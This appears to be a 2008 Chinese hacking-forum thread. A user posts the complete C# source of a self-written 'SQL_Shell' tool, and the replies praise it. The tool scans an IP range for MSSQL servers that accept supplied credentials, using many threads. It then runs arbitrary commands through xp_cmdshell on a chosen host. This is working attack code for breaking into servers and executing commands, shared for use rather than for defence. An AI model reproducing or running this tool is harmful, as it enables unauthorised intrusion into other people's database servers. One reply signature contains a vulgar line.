打印

数据库的SA权限 (自己写的!)

本主题由 小3 于 2008-8-23 18:49 移动

数据库的SA权限 (自己写的!)

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Data.SqlClient;
using System.Threading;
namespace WindowsApplication2
{
/// <summary>
/// Form1 的摘要说明。
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
//  Thread t;
  bool isnotsuccess=false;
  private System.Windows.Forms.Label label1;
  private System.Windows.Forms.Label label2;
  private System.Windows.Forms.TextBox textBox1;
  private System.Windows.Forms.TextBox textBox2;
  private System.Windows.Forms.Label label3;
  private System.Windows.Forms.Label label4;
  private System.Windows.Forms.TextBox textBox3;
  private System.Windows.Forms.TextBox textBox4;
  private System.Windows.Forms.Button button1;
  private System.Windows.Forms.ListBox listBox1;
  private System.Windows.Forms.Label label5;
  private System.Windows.Forms.StatusBar statusBar1;
  private System.Windows.Forms.StatusBarPanel statusBarPanel1;
  private System.Windows.Forms.Label label6;
  private System.Windows.Forms.Label label7;
  private System.Windows.Forms.Label label8;
  private System.Windows.Forms.GroupBox groupBox1;
  private System.Windows.Forms.TextBox txtIP;
  private System.Windows.Forms.TextBox txtuid;
  private System.Windows.Forms.TextBox txtpwd;
  private System.Windows.Forms.Label label9;
  private System.Windows.Forms.Button button2;
  private System.Windows.Forms.TextBox txtcmd;
  private System.Windows.Forms.StatusBarPanel statusBarPanel2;
  /// <summary>
  /// 必需的设计器变量。
  /// </summary>
  private System.ComponentModel.Container components = null;
  public Form1()
  {
   //
   // Windows 窗体设计器支持所必需的
   //
   InitializeComponent();
   //
   // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
   //
  }
  /// <summary>
  /// 清理所有正在使用的资源。
  /// </summary>
  protected override void Dispose( bool disposing )
  {
   if( disposing )
   {
    if (components != null)
    {
     components.Dispose();
    }
   }
   base.Dispose( disposing );
  }
  #region Windows 窗体设计器生成的代码
  /// <summary>
  /// 设计器支持所需的方法 - 不要使用代码编辑器修改
  /// 此方法的内容。
  /// </summary>
  private void InitializeComponent()
  {
   this.label1 = new System.Windows.Forms.Label();
   this.label2 = new System.Windows.Forms.Label();
   this.textBox1 = new System.Windows.Forms.TextBox();
   this.textBox2 = new System.Windows.Forms.TextBox();
   this.label3 = new System.Windows.Forms.Label();
   this.label4 = new System.Windows.Forms.Label();
   this.textBox3 = new System.Windows.Forms.TextBox();
   this.textBox4 = new System.Windows.Forms.TextBox();
   this.button1 = new System.Windows.Forms.Button();
   this.listBox1 = new System.Windows.Forms.ListBox();
   this.label5 = new System.Windows.Forms.Label();
   this.statusBar1 = new System.Windows.Forms.StatusBar();
   this.statusBarPanel1 = new System.Windows.Forms.StatusBarPanel();
   this.statusBarPanel2 = new System.Windows.Forms.StatusBarPanel();
   this.label6 = new System.Windows.Forms.Label();
   this.label7 = new System.Windows.Forms.Label();
   this.label8 = new System.Windows.Forms.Label();
   this.txtcmd = new System.Windows.Forms.TextBox();
   this.groupBox1 = new System.Windows.Forms.GroupBox();
   this.button2 = new System.Windows.Forms.Button();
   this.txtIP = new System.Windows.Forms.TextBox();
   this.txtuid = new System.Windows.Forms.TextBox();
   this.txtpwd = new System.Windows.Forms.TextBox();
   this.label9 = new System.Windows.Forms.Label();
   ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel1)).BeginInit();
   ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel2)).BeginInit();
   this.groupBox1.SuspendLayout();
   this.SuspendLayout();
   //
   // label1
   //
   this.label1.Location = new System.Drawing.Point(16, 16);
   this.label1.Name = "label1";
   this.label1.Size = new System.Drawing.Size(56, 23);
   this.label1.TabIndex = 0;
   this.label1.Text = "起始IP:";
   this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
   //
   // label2
   //
   this.label2.Location = new System.Drawing.Point(16, 48);
   this.label2.Name = "label2";
   this.label2.Size = new System.Drawing.Size(56, 23);
   this.label2.TabIndex = 0;
   this.label2.Text = "结束IP:";
   this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
   //
   // textBox1
   //
   this.textBox1.Location = new System.Drawing.Point(88, 16);
   this.textBox1.Name = "textBox1";
   this.textBox1.Size = new System.Drawing.Size(160, 21);
   this.textBox1.TabIndex = 1;
   this.textBox1.Text = "";
   //
   // textBox2
   //
   this.textBox2.Location = new System.Drawing.Point(88, 48);
   this.textBox2.Name = "textBox2";
   this.textBox2.Size = new System.Drawing.Size(160, 21);
   this.textBox2.TabIndex = 1;
   this.textBox2.Text = "";
   //
   // label3
   //
   this.label3.AutoSize = true;
   this.label3.Location = new System.Drawing.Point(16, 96);
   this.label3.Name = "label3";
   this.label3.Size = new System.Drawing.Size(54, 17);
   this.label3.TabIndex = 0;
   this.label3.Text = "用户名:";
   this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
   //
   // label4
   //
   this.label4.AutoSize = true;
   this.label4.Location = new System.Drawing.Point(16, 128);
   this.label4.Name = "label4";
   this.label4.Size = new System.Drawing.Size(54, 17);
   this.label4.TabIndex = 0;
   this.label4.Text = "密  码:";
   this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
   //
   // textBox3
   //
   this.textBox3.Location = new System.Drawing.Point(88, 88);
   this.textBox3.Name = "textBox3";
   this.textBox3.Size = new System.Drawing.Size(120, 21);
   this.textBox3.TabIndex = 1;
   this.textBox3.Text = "";
   //
   // textBox4
   //
   this.textBox4.Location = new System.Drawing.Point(88, 128);
   this.textBox4.Name = "textBox4";
   this.textBox4.Size = new System.Drawing.Size(120, 21);
   this.textBox4.TabIndex = 1;
   this.textBox4.Text = "";
   //
   // button1
   //
   this.button1.Location = new System.Drawing.Point(224, 96);
   this.button1.Name = "button1";
   this.button1.Size = new System.Drawing.Size(56, 48);
   this.button1.TabIndex = 2;
   this.button1.Text = "搜  索";
   this.button1.Click += new System.EventHandler(this.button1_Click);
   //
   // listBox1
   //
   this.listBox1.ItemHeight = 12;
   this.listBox1.Location = new System.Drawing.Point(88, 168);
   this.listBox1.Name = "listBox1";
   this.listBox1.Size = new System.Drawing.Size(184, 160);
   this.listBox1.TabIndex = 3;
   this.listBox1.DoubleClick += new System.EventHandler(this.listBox1_DoubleClick);
   //
   // label5
   //
   this.label5.AutoSize = true;
   this.label5.Location = new System.Drawing.Point(16, 176);
   this.label5.Name = "label5";
   this.label5.Size = new System.Drawing.Size(54, 17);
   this.label5.TabIndex = 0;
   this.label5.Text = "结  果:";
   this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
   //
   // statusBar1
   //
   this.statusBar1.Location = new System.Drawing.Point(0, 344);
   this.statusBar1.Name = "statusBar1";
   this.statusBar1.Panels.AddRange(new System.Windows.Forms.StatusBarPanel[] {
                        this.statusBarPanel1,
                        this.statusBarPanel2});
   this.statusBar1.ShowPanels = true;
   this.statusBar1.Size = new System.Drawing.Size(520, 22);
   this.statusBar1.TabIndex = 4;
   this.statusBar1.Text = "statusBar1";
   //
   // statusBarPanel1
   //
   this.statusBarPanel1.Width = 280;
   //
   // statusBarPanel2
   //
   this.statusBarPanel2.Width = 200;
   //
   // label6
   //
   this.label6.AutoSize = true;
   this.label6.Location = new System.Drawing.Point(16, 24);
   this.label6.Name = "label6";
   this.label6.Size = new System.Drawing.Size(29, 17);
   this.label6.TabIndex = 5;
   this.label6.Text = "IP:";
   //
   // label7
   //
   this.label7.AutoSize = true;
   this.label7.Location = new System.Drawing.Point(16, 56);
   this.label7.Name = "label7";
   this.label7.Size = new System.Drawing.Size(54, 17);
   this.label7.TabIndex = 5;
   this.label7.Text = "用户名:";
   //
   // label8
   //
   this.label8.AutoSize = true;
   this.label8.Location = new System.Drawing.Point(16, 88);
   this.label8.Name = "label8";
   this.label8.Size = new System.Drawing.Size(54, 17);
   this.label8.TabIndex = 5;
   this.label8.Text = "密  码:";
   //
   // txtcmd
   //
   this.txtcmd.Location = new System.Drawing.Point(24, 152);
   this.txtcmd.Multiline = true;
   this.txtcmd.Name = "txtcmd";
   this.txtcmd.Size = new System.Drawing.Size(176, 112);
   this.txtcmd.TabIndex = 1;
   this.txtcmd.Text = "xp_cmdshell \'md D:\\aaa\'";
   //
   // groupBox1
   //
   this.groupBox1.Controls.Add(this.button2);
   this.groupBox1.Controls.Add(this.label7);
   this.groupBox1.Controls.Add(this.txtcmd);
   this.groupBox1.Controls.Add(this.label8);
   this.groupBox1.Controls.Add(this.label6);
   this.groupBox1.Controls.Add(this.txtIP);
   this.groupBox1.Controls.Add(this.txtuid);
   this.groupBox1.Controls.Add(this.txtpwd);
   this.groupBox1.Controls.Add(this.label9);
   this.groupBox1.Location = new System.Drawing.Point(288, 16);
   this.groupBox1.Name = "groupBox1";
   this.groupBox1.Size = new System.Drawing.Size(216, 312);
   this.groupBox1.TabIndex = 6;
   this.groupBox1.TabStop = false;
   this.groupBox1.Text = "操作";
   //
   // button2
   //
   this.button2.Location = new System.Drawing.Point(72, 280);
   this.button2.Name = "button2";
   this.button2.TabIndex = 6;
   this.button2.Text = "执  行";
   this.button2.Click += new System.EventHandler(this.button2_Click);
   //
   // txtIP
   //
   this.txtIP.Location = new System.Drawing.Point(80, 16);
   this.txtIP.Name = "txtIP";
   this.txtIP.Size = new System.Drawing.Size(120, 21);
   this.txtIP.TabIndex = 1;
   this.txtIP.Text = "";
   //
   // txtuid
   //
   this.txtuid.Location = new System.Drawing.Point(80, 48);
   this.txtuid.Name = "txtuid";
   this.txtuid.Size = new System.Drawing.Size(120, 21);
   this.txtuid.TabIndex = 1;
   this.txtuid.Text = "";
   //
   // txtpwd
   //
   this.txtpwd.Location = new System.Drawing.Point(80, 88);
   this.txtpwd.Name = "txtpwd";
   this.txtpwd.Size = new System.Drawing.Size(120, 21);
   this.txtpwd.TabIndex = 1;
   this.txtpwd.Text = "";
   //
   // label9
   //
   this.label9.AutoSize = true;
   this.label9.Location = new System.Drawing.Point(16, 128);
   this.label9.Name = "label9";
   this.label9.Size = new System.Drawing.Size(103, 17);
   this.label9.TabIndex = 5;
   this.label9.Text = "执行数据库命令:";
   //
   // Form1
   //
   this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
   this.ClientSize = new System.Drawing.Size(520, 366);
   this.Controls.Add(this.groupBox1);
   this.Controls.Add(this.statusBar1);
   this.Controls.Add(this.listBox1);
   this.Controls.Add(this.button1);
   this.Controls.Add(this.textBox1);
   this.Controls.Add(this.label1);
   this.Controls.Add(this.label2);
   this.Controls.Add(this.textBox2);
   this.Controls.Add(this.label3);
   this.Controls.Add(this.label4);
   this.Controls.Add(this.textBox3);
   this.Controls.Add(this.textBox4);
   this.Controls.Add(this.label5);
   this.MaximizeBox = false;
   this.Name = "Form1";
   this.Text = "SQL_Shell";
   this.Closing += new System.ComponentModel.CancelEventHandler(this.Form1_Closing);
   ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel1)).EndInit();
   ((System.ComponentModel.ISupportInitialize)(this.statusBarPanel2)).EndInit();
   this.groupBox1.ResumeLayout(false);
   this.ResumeLayout(false);
  }
  #endregion
  /// <summary>
  /// 应用程序的主入口点。
  /// </summary>
  [STAThread]
  static void Main()
  {
   Application.Run(new Form1());
  }
  SqlConnection conn;
  string ser;
  SqlCommand comm;
  string sql;
  private void button1_Click(object sender, System.EventArgs e)
  {
   statusBar1.Panels[0].Text="开始搜索...";
   listBox1.Items.Clear();
   try
   {
    //开始的
    string beginIP=textBox1.Text;
    string [] str=beginIP.Split('.');
    string num1=str[0];
    string num2=str[1];
    int Bnum3=int.Parse(str[2]);
    int Bnum4=int.Parse(str[3]);
    //   textBox2.Text=num3.ToString();
    //   textBox3.Text=num4.ToString();
    //结束的
    string endIP=textBox2.Text;
    string [] str1=endIP.Split('.');
    int Enum3=int.Parse(str1[2]);
    int Enum4=int.Parse(str1[3]);
    int eee;
    if(Bnum3<Enum3)
    {
     eee=225;
    }
    else
    {
     eee=Enum4;
    }
    for(int i=Bnum3;i<=Enum3;i++)
    {
     for(int j=Bnum4;j<=eee;j++)
     {
      ser=num1+"."+num2+"."+i.ToString()+"."+j.ToString();
      sql="server='"+ser+"';uid='"+textBox3.Text+"';pwd='"+textBox4.Text+"';database=master";
//      conn=new SqlConnection(sql);
      
      try
      {
       //       conn.Open();
       Thread t=new Thread(new ThreadStart(getconn));
       t.Name=ser+"#"+sql;//将参数以线程的名字传递到所用的方法
       t.Start();
      
      }
      catch(Exception ex)
      {
       //       statusBar1.Panels[0].Text=ser+textBox3.Text.ToString()+"登陆失败!";
       ser="";
       sql="";
       comm=null;
       conn.Close();
      
       continue;
      }
//      comm=new SqlCommand("select * from sysobjects",conn);
//      if(isnotsuccess)
//      {
//       listBox1.Items.Add(ser);
//       ser="";
//       sql="";
//       comm=null;
//       isnotsuccess=false;
//       conn.Close();
//       t.Abort();
//      }
      
     }
    }
//    statusBar1.Panels[0].Text="搜索结束";
   }
   catch(Exception ex)
   {
//    continue;
   }
  }
  public void getconn()
  {
   try
   {
    string all=Thread.CurrentThread.Name;
    string  []a=all.Split('#');
    string sql=a[1];
    SqlConnection c=new SqlConnection(sql);
    c.Open();
   
    listBox1.Items.Add(a[0].ToString());
    ser="";
    sql="";
    comm=null;
    c.Close();
    Thread.CurrentThread.Abort();
   }
   catch(Exception ex)
   {
    Thread.CurrentThread.Abort();
//    isnotsuccess=false;
//    throw new ApplicationException();
   }
  }
  private void button2_Click(object sender, System.EventArgs e)
  {  
    string sql="server="+txtIP.Text+";uid="+txtuid.Text+";pwd="+txtpwd.Text+";database=master";
    SqlConnection conn=new SqlConnection(sql);
    SqlCommand comm=new SqlCommand(txtcmd.Text,conn);
   try
   {
    conn.Open();
    comm.ExecuteNonQuery();
    statusBar1.Panels[1].Text="执行成功!";
    MessageBox.Show("执行成功!","消息",MessageBoxButtons.OK);
   }
   catch(Exception ex)
   {
    MessageBox.Show(ex.Message);
   }
   finally
   {
    conn.Close();
   }
  }
  private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
  {
   Application.Exit();
  }
  private void listBox1_DoubleClick(object sender, System.EventArgs e)
  {
   txtIP.Text=listBox1.Items[listBox1.SelectedIndex].ToString();
  }
}
}
由于附件传不上,只能看代码了!
不断学习吧

TOP

怎么没人看啊!自己踩了
虽然工具不怎么样,但看看代码嘛!
不断学习吧







支持你了

TOP

我不太懂.........支持一下啦!!!
是原创的就要支持下...
決不讓一個處女走出校園!

TOP

厉害支持下.......................
是呀~~~支持所有的原创~~~~你们辛苦了~~~~
走自己的路,让别人去说

TOP

强烈支持开放源码的行为!
入侵组 :黑Xぃ天涯↑
  

Processed in 0.053717 second(s), 6 queries, Gzip enabled